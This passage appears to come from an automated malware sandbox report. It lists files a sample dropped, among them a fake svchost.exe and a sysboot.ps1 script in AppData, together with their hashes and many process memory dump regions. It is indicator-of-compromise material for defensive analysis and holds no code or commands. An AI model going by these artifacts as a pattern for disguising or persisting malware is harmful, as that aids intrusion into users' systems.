b389f9115339ba0941119c025fa1e403

SHA1
5a68672a9dfa133211c4cb2b131a2ea91494721b

SHA256
3b2a08de3611b1cc18ab41a4baa295279c5d087c29331d5f7c9b1b645775b7a7

SHA512
6532fd9aec6468c792c4b0e42fa5b852e59034144b7dd8301cd3ee721ef199662fcdb3bce1dbea763eb70ae7f0ad90d621e974162af5bbeccf7e43aa0e673be0

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE6A7.tmp

Filesize
1KB

MD5
9cb9f8ba5ba99c36d5ba7ee5a98f0bd9

SHA1
4bb53c5f5d4f208a4082b59b0c4b5185866cd874

SHA256
dd802183599f6403ef3ae4832781d6fa687765b45a1d19d2fba947c41a51ee3c

SHA512
eb8c9e078ba0b43d5256b7df4b4db16a45b954db118826b5629243025eeefa856e8c50d4451c13473290c2a707066c6bfa7173fc230daa13d87e7a4b7ec22f76

Download Submit
C:\Users\Admin\AppData\Local\svchost.exe

Filesize
46KB

MD5
31ee6e006c02625385210da20ce4b522

SHA1
e13ae10bd9300fd4608f8fc697e789b9712c1a75

SHA256
35edd93f3f9f6e21c6d88e50e475960290dacbba2c8d19cb74bb1b85fde24c2c

SHA512
46aca18f2af78401b3d39c28b2d87de4d44c7661bbc4a129f0af840075ad2e2becf4d144fc98292efb909763543c64a4801f921c1b71232ac2cc4911224c77e4

Download Submit
C:\Users\Admin\AppData\Local\sysboot.ps1

Filesize
1KB

MD5
81f7df2e0aa206d331d8987c1035cef1

SHA1
51e8454a79b2f8127d96663c6a74f88b1f139f2a

SHA256
4d2b4b4d6950791e6bcd8715c970bf7e19a0e33530818a6f17f602c785b0ec6a

SHA512
6defa54b76c38545de4b3b031b25191ddf67ff5e95c7e0004305012d9c87c8ea6dde10e30f9d1caceb70ad7caef61063ddc6aec40c755be96b8e730d712b132d

Download Submit
memory/2088-68-0x00000000005E0000-0x00000000005F2000-memory.dmp

Filesize
72KB

Download
memory/2472-165-0x0000000006690000-0x00000000066F6000-memory.dmp

Filesize
408KB

Download
memory/2472-167-0x0000000006940000-0x000000000694A000-memory.dmp

Filesize
40KB

Download
memory/2472-168-0x00000000069F0000-0x0000000006A82000-memory.dmp

Filesize
584KB

Download
memory/2472-169-0x0000000007040000-0x00000000075E4000-memory.dmp

Filesize
5.6MB

Download
memory/3040-29-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-28-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-17-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-30-0x0000024BD2A90000-0x0000024BD3236000-memory.dmp

Filesize
7.6MB

Download
memory/3040-34-0x0000024BD1350000-0x0000024BD156C000-memory.dmp

Filesize
2.1MB

Download
memory/3040-35-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/3476-174-0x000000001B7C0000-0x000000001B7F4000-memory.dmp

Filesize
208KB

Download
memory/3476-175-0x00000000015F0000-0x000000000160E000-memory.dmp

Filesize
120KB

Download
memory/3476-178-0x000000001D200000-0x000000001D2B2000-memory.dmp

Filesize
712KB

Download
memory/4452-0-0x00007FFEEBD33000-0x00007FFEEBD35000-memory.dmp

Filesize
8KB

Download
memory/4452-15-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/4452-12-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/4452-11-0x00007FFEEBD30000-0x00007FFEEC7F1000-memory.dmp

Filesize
10.8MB

Download
memory/4452-2-0x000002A04FEF0000-0x000002A04FF12000-memory.dmp

Filesize
136KB

Download
memory/4476-105-0x00000000009F0000-0x0000000000A0A000-memory.dmp

Filesize
104KB

Download
memory/4672-83-0x0000000000EA0000-0x0000000000EB6000-memory.dmp

Filesize
88KB

Download
memory/4816-55-0x000001D67C7C0000-0x000001D67C804000-memory.dmp

Filesize
272KB

Download
memory/4816-106-0x000001D67CBF0000-0x000001D67CC66000-memory.dmp

Filesize
472KB

Download